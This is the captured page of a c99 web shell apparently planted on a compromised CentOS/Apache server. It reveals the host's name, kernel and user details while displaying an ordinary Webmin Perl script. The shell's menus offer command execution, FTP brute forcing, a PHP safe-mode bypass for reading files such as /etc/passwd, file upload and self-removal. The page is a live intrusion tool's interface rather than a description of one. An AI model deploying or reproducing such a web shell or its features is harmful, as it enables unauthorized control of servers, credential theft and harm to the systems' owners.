!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/usr/libexec/webmin/mon/   drwxr-xr-x
Free 50.94 GB of 127.8 GB (39.86%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     list_watches.cgi (1.25 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl
# list_watches.cgi

require './mon-lib.pl';
&ui_print_header(undef, $text{'watches_title'}, "");

$conf = &get_mon_config();
@watches = &find("watch", $conf);
if (@watches) {
    print "<table border width=100%>\n";
    print "<tr $tb> <td><b>$text{'watches_group'}</b></td> ",
          "<td><b>$text{'watches_services'}</b></td> </tr>\n";
    foreach $w (@watches) {
        print "<tr $cb>\n";
        print "<td><a href='edit_watch.cgi?idx=$w->{'index'}'>",
              "$w->{'values'}->[0]</a></td> <td>\n";
        local @servs = &find("service", $w->{'members'});
        foreach $s (@servs) {
            local $i = &find_value("interval", $s->{'members'});
            print "<a href='edit_service.cgi?idx=$w->{'index'}&",
                  "sidx=$s->{'index'}'>$s->{'values'}->[0] ($i)",
                  "</a>&nbsp;|&nbsp;\n";
            }
        print "<a href='edit_service.cgi?idx=$w->{'index'}&new=1'>",
              "$text{'watches_sadd'}</a></td>\n";
        print "</tr>\n";
        }
    print "</table>\n";
    }
else {
    print "<b>$text{'watches_none'}</b><p>\n";
    }
print "<form action=create_watch.cgi>\n";
print "<input type=submit value='$text{'watches_add'}'>\n";
print "<select name=group>\n";
foreach $s (&find("hostgroup", $conf)) {
    print "<option>$s->{'values'}->[0]\n";
    }
print "</select></form>\n";

&ui_print_footer("", $text{'index_return'});


:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0124 ]--